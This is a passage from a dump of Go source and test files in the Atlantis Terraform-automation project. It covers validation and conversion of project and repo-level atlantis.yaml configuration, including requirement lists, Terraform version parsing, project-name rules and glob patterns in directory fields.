[]string{\"unsupported\"},\n\t\t\t},\n\t\t\texpErr: \"plan_requirements: \\\"unsupported\\\" is not a valid plan_requirement, only \\\"approved\\\", \\\"mergeable\\\" and \\\"undiverged\\\" are supported.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"plan reqs with undiverged, mergeable and approved requirements\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:              String(\".\"),\n\t\t\t\tPlanRequirements: []string{\"undiverged\", \"mergeable\", \"approved\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"plan reqs with approved requirement\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:              String(\".\"),\n\t\t\t\tPlanRequirements: []string{\"approved\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"plan reqs with mergeable requirement\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:              String(\".\"),\n\t\t\t\tPlanRequirements: []string{\"mergeable\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"plan reqs with mergeable and approved requirements\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:              String(\".\"),\n\t\t\t\tPlanRequirements: []string{\"mergeable\", \"approved\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply reqs with unsupported\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:               String(\".\"),\n\t\t\t\tApplyRequirements: []string{\"unsupported\"},\n\t\t\t},\n\t\t\texpErr: \"apply_requirements: \\\"unsupported\\\" is not a valid apply_requirement, only \\\"approved\\\", \\\"mergeable\\\" and \\\"undiverged\\\" are supported.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply reqs with approved requirement\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:               String(\".\"),\n\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply reqs with mergeable requirement\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:               String(\".\"),\n\t\t\t\tApplyRequirements: []string{\"mergeable\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply reqs with undiverged requirement\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:               String(\".\"),\n\t\t\t\tApplyRequirements: []string{\"undiverged\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply reqs with mergeable and approved requirements\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:               String(\".\"),\n\t\t\t\tApplyRequirements: []string{\"mergeable\", \"approved\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply reqs with undiverged and approved requirements\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:               String(\".\"),\n\t\t\t\tApplyRequirements: []string{\"undiverged\", \"approved\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply reqs with undiverged and mergeable requirements\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:               String(\".\"),\n\t\t\t\tApplyRequirements: []string{\"undiverged\", \"mergeable\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply reqs with undiverged, mergeable and approved requirements\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:               String(\".\"),\n\t\t\t\tApplyRequirements: []string{\"undiverged\", \"mergeable\", \"approved\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"import reqs with unsupported\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:                String(\".\"),\n\t\t\t\tImportRequirements: []string{\"unsupported\"},\n\t\t\t},\n\t\t\texpErr: \"import_requirements: \\\"unsupported\\\" is not a valid import_requirement, only \\\"approved\\\", \\\"mergeable\\\" and \\\"undiverged\\\" are supported.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"import reqs with undiverged, mergeable and approved requirements\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:                String(\".\"),\n\t\t\t\tImportRequirements: []string{\"undiverged\", \"mergeable\", \"approved\"},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"empty tf version string\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:              String(\".\"),\n\t\t\t\tTerraformVersion: String(\"\"),\n\t\t\t},\n\t\t\texpErr: \"terraform_version: version \\\"\\\" could not be parsed: Malformed version: .\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"tf version with v prepended\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:              String(\".\"),\n\t\t\t\tTerraformVersion: String(\"v1\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"tf version without prepended v\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:              String(\".\"),\n\t\t\t\tTerraformVersion: String(\"1\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"empty string for project name\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\".\"),\n\t\t\t\tName: String(\"\"),\n\t\t\t},\n\t\t\texpErr: \"name: if set cannot be empty.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"project name with slashes\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\".\"),\n\t\t\t\tName: String(\"my/name\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"project name with emoji\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\".\"),\n\t\t\t\tName: String(\"😀\"),\n\t\t\t},\n\t\t\texpErr: \"name: \\\"😀\\\" is not allowed: must contain only URL safe characters.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"project name with spaces\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\".\"),\n\t\t\t\tName: String(\"name with spaces\"),\n\t\t\t},\n\t\t\texpErr: \"name: \\\"name with spaces\\\" is not allowed: must contain only URL safe characters.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"project name with +\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\".\"),\n\t\t\t\tName: String(\"namewith+\"),\n\t\t\t},\n\t\t\texpErr: \"name: \\\"namewith+\\\" is not allowed: must contain only URL safe characters.\",\n\t\t},\n\t\t{\n\t\t\tdescription: `project name with \\`,\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\".\"),\n\t\t\t\tName: String(`namewith\\`),\n\t\t\t},\n\t\t\texpErr: `name: \"namewith\\\\\" is not allowed: must contain only URL safe characters.`,\n\t\t},\n\t\t// Glob pattern tests\n\t\t{\n\t\t\tdescription: \"dir with valid glob pattern *\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"modules/*\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir with valid glob pattern **\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"environments/**\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir with valid glob pattern ?\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"module?\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir with valid glob pattern [abc]\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"[abc]\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir with complex glob pattern\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"modules/*/terraform\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir with invalid glob pattern - unclosed bracket\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"[abc\"),\n\t\t\t},\n\t\t\texpErr: `dir: invalid glob pattern \"[abc\".`,\n\t\t},\n\t\t// Name with glob pattern tests\n\t\t{\n\t\t\tdescription: \"name containing * glob pattern should fail\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\"modules/networking\"),\n\t\t\t\tName: String(\"my-project*\"),\n\t\t\t},\n\t\t\texpErr: \"name: cannot contain glob pattern characters ('*', '?', '['); glob expansion is only supported in the 'dir' field\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"name containing ** glob pattern should fail\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\"modules/networking\"),\n\t\t\t\tName: String(\"my-project**\"),\n\t\t\t},\n\t\t\texpErr: \"name: cannot contain glob pattern characters ('*', '?', '['); glob expansion is only supported in the 'dir' field\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"name containing ? glob pattern should fail\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\"modules/networking\"),\n\t\t\t\tName: String(\"project?\"),\n\t\t\t},\n\t\t\texpErr: \"name: cannot contain glob pattern characters ('*', '?', '['); glob expansion is only supported in the 'dir' field\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"name containing [ glob pattern should fail\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\"modules/networking\"),\n\t\t\t\tName: String(\"project[1]\"),\n\t\t\t},\n\t\t\texpErr: \"name: cannot contain glob pattern characters ('*', '?', '['); glob expansion is only supported in the 'dir' field\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"name with glob pattern in dir should fail\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\"modules/*\"),\n\t\t\t\tName: String(\"my-project\"),\n\t\t\t},\n\t\t\texpErr: \"name: cannot be used with glob patterns in 'dir'; glob patterns expand to multiple projects which cannot share the same name\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"name with ** glob pattern in dir should fail\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\"environments/**\"),\n\t\t\t\tName: String(\"my-env\"),\n\t\t\t},\n\t\t\texpErr: \"name: cannot be used with glob patterns in 'dir'; glob patterns expand to multiple projects which cannot share the same name\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"name without glob pattern in dir should pass\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:  String(\"modules/networking\"),\n\t\t\t\tName: String(\"networking\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t}\n\tvalidation.ErrorTag = \"yaml\"\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\terr := c.input.Validate()\n\t\t\tif c.expErr == \"\" {\n\t\t\t\tOk(t, err)\n\t\t\t} else {\n\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestProject_ToValid(t *testing.T) {\n\ttfVersionPointEleven, _ := version.NewVersion(\"v0.11.0\")\n\trepoLocksOnApply := valid.RepoLocksOnApplyMode\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.Project\n\t\texp         valid.Project\n\t}{\n\t\t{\n\t\t\tdescription: \"minimal values\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\".\"),\n\t\t\t},\n\t\t\texp: valid.Project{\n\t\t\t\tDir:              \".\",\n\t\t\t\tBranchRegex:      nil,\n\t\t\t\tWorkspace:        \"default\",\n\t\t\t\tWorkflowName:     nil,\n\t\t\t\tTerraformVersion: nil,\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t\tApplyRequirements: nil,\n\t\t\t\tName:              nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"all set\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:              String(\".\"),\n\t\t\t\tWorkspace:        String(\"myworkspace\"),\n\t\t\t\tWorkflow:         String(\"myworkflow\"),\n\t\t\t\tTerraformVersion: String(\"v0.11.0\"),\n\t\t\t\tAutoplan: &raw.Autoplan{\n\t\t\t\t\tWhenModified: []string{\"hi\"},\n\t\t\t\t\tEnabled:      Bool(false),\n\t\t\t\t},\n\t\t\t\tRepoLocks: &raw.RepoLocks{\n\t\t\t\t\tMode: &repoLocksOnApply,\n\t\t\t\t},\n\t\t\t\tApplyRequirements:   []string{\"approved\"},\n\t\t\t\tName:                String(\"myname\"),\n\t\t\t\tExecutionOrderGroup: Int(10),\n\t\t\t},\n\t\t\texp: valid.Project{\n\t\t\t\tDir:              \".\",\n\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\tWorkflowName:     String(\"myworkflow\"),\n\t\t\t\tTerraformVersion: tfVersionPointEleven,\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: []string{\"hi\"},\n\t\t\t\t\tEnabled:      false,\n\t\t\t\t},\n\t\t\t\tRepoLocks: &valid.RepoLocks{\n\t\t\t\t\tMode: repoLocksOnApply,\n\t\t\t\t},\n\t\t\t\tApplyRequirements:   []string{\"approved\"},\n\t\t\t\tName:                String(\"myname\"),\n\t\t\t\tExecutionOrderGroup: 10,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"tf version without 'v'\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:              String(\".\"),\n\t\t\t\tTerraformVersion: String(\"0.11.0\"),\n\t\t\t},\n\t\t\texp: valid.Project{\n\t\t\t\tDir:              \".\",\n\t\t\t\tWorkspace:        \"default\",\n\t\t\t\tTerraformVersion: tfVersionPointEleven,\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t// Directories.\n\t\t{\n\t\t\tdescription: \"dir set to /\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"/\"),\n\t\t\t},\n\t\t\texp: valid.Project{\n\t\t\t\tDir:       \".\",\n\t\t\t\tWorkspace: \"default\",\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir starting with /\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"/a/b/c\"),\n\t\t\t},\n\t\t\texp: valid.Project{\n\t\t\t\tDir:       \"a/b/c\",\n\t\t\t\tWorkspace: \"default\",\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir with trailing slash\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"mydir/\"),\n\t\t\t},\n\t\t\texp: valid.Project{\n\t\t\t\tDir:       \"mydir\",\n\t\t\t\tWorkspace: \"default\",\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"unclean dir\",\n\t\t\tinput: raw.Project{\n\t\t\t\t// This won't actually be allowed since it doesn't validate.\n\t\t\t\tDir: String(\"./mydir/anotherdir/../\"),\n\t\t\t},\n\t\t\texp: valid.Project{\n\t\t\t\tDir:       \"mydir\",\n\t\t\t\tWorkspace: \"default\",\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir set to ./\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"./\"),\n\t\t\t},\n\t\t\texp: valid.Project{\n\t\t\t\tDir:       \".\",\n\t\t\t\tWorkspace: \"default\",\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir set to ././\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"././\"),\n\t\t\t},\n\t\t\texp: valid.Project{\n\t\t\t\tDir:       \".\",\n\t\t\t\tWorkspace: \"default\",\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir set to .\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\".\"),\n\t\t\t},\n\t\t\texp: valid.Project{\n\t\t\t\tDir:       \".\",\n\t\t\t\tWorkspace: \"default\",\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t{\n\t\t\tdescription: \"workspace set to empty string\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:       String(\".\"),\n\t\t\t\tWorkspace: String(\"\"),\n\t\t\t},\n\t\t\texp: valid.Project{\n\t\t\t\tDir:       \".\",\n\t\t\t\tWorkspace: \"default\",\n\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\tEnabled:      true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.input.ToValid())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/raw.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\n// Package raw contains the golang representations of the YAML elements\n// supported in atlantis.yaml. The structs here represent the exact data that\n// comes from the file before it is parsed/validated further.\npackage raw\n\nimport (\n\t\"fmt\"\n\n\tversion \"github.com/hashicorp/go-version\"\n)\n\n// VersionValidator helper function to validate binary version.\n// Function implements ozzo-validation::Rule.Validate interface.\nfunc VersionValidator(value any) error {\n\tstrPtr := value.(*string)\n\tif strPtr == nil {\n\t\treturn nil\n\t}\n\t_, err := version.NewVersion(*strPtr)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"version %q could not be parsed: %w\", *strPtr, err)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "server/core/config/raw/raw_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"io\"\n\t\"strings\"\n\n\t\"errors\"\n\n\t\"gopkg.in/yaml.v3\"\n)\n\n// Bool is a helper routine that allocates a new bool value\n// to store v and returns a pointer to it.\nfunc Bool(v bool) *bool { return &v }\n\n// Int is a helper routine that allocates a new int value\n// to store v and returns a pointer to it.\nfunc Int(v int) *int { return &v }\n\n// String is a helper routine that allocates a new string value\n// to store v and returns a pointer to it.\nfunc String(v string) *string { return &v }\n\n// Helper function to unmarshal from strings\nfunc unmarshalString(in string, out any) error {\n\tdecoder := yaml.NewDecoder(strings.NewReader(in))\n\tdecoder.KnownFields(true)\n\n\terr := decoder.Decode(out)\n\tif errors.Is(err, io.EOF) {\n\t\treturn nil\n\t}\n\treturn err\n}\n"
  },
  {
    "path": "server/core/config/raw/repo_cfg.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\t\"errors\"\n\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n)\n\n// DefaultEmojiReaction is the default emoji reaction for repos\nconst DefaultEmojiReaction = \"\"\n\n// DefaultAbortOnExecutionOrderFail being false is the default setting for abort on execution group failures\nconst DefaultAbortOnExecutionOrderFail = false\n\n// RepoCfg is the raw schema for repo-level atlantis.yaml config.\ntype RepoCfg struct {\n\tVersion                   *int                `yaml:\"version,omitempty\"`\n\tProjects                  []Project           `yaml:\"projects,omitempty\"`\n\tWorkflows                 map[string]Workflow `yaml:\"workflows,omitempty\"`\n\tPolicySets                PolicySets          `yaml:\"policies,omitempty\"`\n\tAutoDiscover              *AutoDiscover       `yaml:\"autodiscover,omitempty\"`\n\tAutomerge                 *bool               `yaml:\"automerge,omitempty\"`\n\tParallelApply             *bool               `yaml:\"parallel_apply,omitempty\"`\n\tParallelPlan              *bool               `yaml:\"parallel_plan,omitempty\"`\n\tDeleteSourceBranchOnMerge *bool               `yaml:\"delete_source_branch_on_merge,omitempty\"`\n\tEmojiReaction             *string             `yaml:\"emoji_reaction,omitempty\"`\n\tAllowedRegexpPrefixes     []string            `yaml:\"allowed_regexp_prefixes,omitempty\"`\n\tAbortOnExecutionOrderFail *bool               `yaml:\"abort_on_execution_order_fail,omitempty\"`\n\tRepoLocks                 *RepoLocks          `yaml:\"repo_locks,omitempty\"`\n\tSilencePRComments         []string            `yaml:\"silence_pr_comments,omitempty\"`\n}\n\nfunc (r RepoCfg) Validate() error {\n\tequals2 := func(value any) error {\n\t\tasIntPtr := value.(*int)\n\t\tif asIntPtr == nil {\n\t\t\treturn errors.New(\"is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html\")\n\t\t}\n\t\tif *asIntPtr != 2 && *asIntPtr != 3 {\n\t\t\treturn errors.New(\"only versions 2 and 3 are supported\")\n\t\t}\n\t\treturn nil\n\t}\n\treturn validation.ValidateStruct(&r,\n\t\tvalidation.Field(&r.Version, validation.By(equals2)),\n\t\tvalidation.Field(&r.Projects),\n\t\tvalidation.Field(&r.Workflows),\n\t)\n}\n\nfunc (r RepoCfg) ToValid() valid.RepoCfg {\n\tvalidWorkflows := make(map[string]valid.Workflow)\n\tfor k, v := range r.Workflows {\n\t\tvalidWorkflows[k] = v.ToValid(k)\n\t}\n\n\tvar validProjects []valid.Project\n\tfor _, p := range r.Projects {\n\t\tvalidProjects = append(validProjects, p.ToValid())\n\t}\n\n\tautomerge := r.Automerge\n\tparallelApply := r.ParallelApply\n\tparallelPlan := r.ParallelPlan\n\n\temojiReaction := DefaultEmojiReaction\n\tif r.EmojiReaction != nil {\n\t\temojiReaction = *r.EmojiReaction\n\t}\n\n\tabortOnExecutionOrderFail := DefaultAbortOnExecutionOrderFail\n\tif r.AbortOnExecutionOrderFail != nil {\n\t\tabortOnExecutionOrderFail = *r.AbortOnExecutionOrderFail\n\t}\n\n\tvar autoDiscover *valid.AutoDiscover\n\tif r.AutoDiscover != nil {\n\t\tautoDiscover = r.AutoDiscover.ToValid()\n\t}\n\n\tvar repoLocks *valid.RepoLocks\n\tif r.RepoLocks != nil {\n\t\trepoLocks = r.RepoLocks.ToValid()\n\t}\n\treturn valid.RepoCfg{\n\t\tVersion:                   *r.Version,\n\t\tProjects:                  validProjects,\n\t\tWorkflows:                 validWorkflows,\n\t\tAutoDiscover:              autoDiscover,\n\t\tAutomerge:                 automerge,\n\t\tParallelApply:             parallelApply,\n\t\tParallelPlan:              parallelPlan,\n\t\tParallelPolicyCheck:       parallelPlan,\n\t\tDeleteSourceBranchOnMerge: r.DeleteSourceBranchOnMerge,\n\t\tAllowedRegexpPrefixes:     r.AllowedRegexpPrefixes,\n\t\tEmojiReaction:             emojiReaction,\n\t\tAbortOnExecutionOrderFail: abortOnExecutionOrderFail,\n\t\tRepoLocks:                 repoLocks,\n\t\tSilencePRComments:         r.SilencePRComments,\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/repo_cfg_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"testing\"\n\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestConfig_UnmarshalYAML(t *testing.T) {\n\tautoDiscoverEnabled := valid.AutoDiscoverEnabledMode\n\trepoLocksDisabled := valid.RepoLocksDisabledMode\n\trepoLocksOnApply := valid.RepoLocksOnApplyMode\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texp         raw.RepoCfg\n\t\texpErr      string\n\t}{\n\t\t{\n\t\t\tdescription: \"no data\",\n\t\t\tinput:       \"\",\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion:   nil,\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"yaml nil\",\n\t\t\tinput:       \"~\",\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion:   nil,\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid key\",\n\t\t\tinput:       \"invalid: key\",\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion:   nil,\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: nil,\n\t\t\t},\n\t\t\texpErr: \"yaml: unmarshal errors:\\n  line 1: field invalid not found in type raw.RepoCfg\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"version set to 2\",\n\t\t\tinput:       \"version: 2\",\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion:   Int(2),\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"version set to 3\",\n\t\t\tinput:       \"version: 3\",\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion:   Int(3),\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"projects key without value\",\n\t\t\tinput:       \"projects:\",\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion:   nil,\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"workflows key without value\",\n\t\t\tinput:       \"workflows:\",\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion:   nil,\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"projects with a map\",\n\t\t\tinput:       \"projects:\\n  key: value\",\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion:   nil,\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: nil,\n\t\t\t},\n\t\t\texpErr: \"yaml: unmarshal errors:\\n  line 2: cannot unmarshal !!map into []raw.Project\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"projects with a scalar\",\n\t\t\tinput:       \"projects: value\",\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion:   nil,\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: nil,\n\t\t\t},\n\t\t\texpErr: \"yaml: unmarshal errors:\\n  line 1: cannot unmarshal !!str `value` into []raw.Project\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"automerge not a boolean\",\n\t\t\tinput:       \"version: 3\\nautomerge: notabool\",\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion:   nil,\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: nil,\n\t\t\t},\n\t\t\texpErr: \"yaml: unmarshal errors:\\n  line 2: cannot unmarshal !!str `notabool` into bool\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"parallel apply not a boolean\",\n\t\t\tinput:       \"version: 3\\nparallel_apply: notabool\",\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion:   nil,\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: nil,\n\t\t\t},\n\t\t\texpErr: \"yaml: unmarshal errors:\\n  line 2: cannot unmarshal !!str `notabool` into bool\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"should use values if set\",\n\t\t\tinput: `\nversion: 3\nautomerge: true\nautodiscover:\n  mode: enabled\n  ignore_paths:\n  - foo/*\nparallel_apply: true\nparallel_plan: false\nrepo_locks:\n  mode: on_apply\nprojects:\n- dir: mydir\n  workspace: myworkspace\n  workflow: default\n  terraform_version: v0.11.0\n  autoplan:\n    enabled: false\n    when_modified: []\n  apply_requirements: [mergeable]\n  repo_locks:\n    mode: disabled\nworkflows:\n  default:\n    plan:\n      steps: []\n    policy_check:\n      steps: []\n    apply:\n     steps: []\nallowed_regexp_prefixes:\n- dev/\n- staging/`,\n\t\t\texp: raw.RepoCfg{\n\t\t\t\tVersion: Int(3),\n\t\t\t\tAutoDiscover: &raw.AutoDiscover{\n\t\t\t\t\tMode:        &autoDiscoverEnabled,\n\t\t\t\t\tIgnorePaths: []string{\"foo/*\"},\n\t\t\t\t},\n\t\t\t\tAutomerge:     Bool(true),\n\t\t\t\tParallelApply: Bool(true),\n\t\t\t\tParallelPlan:  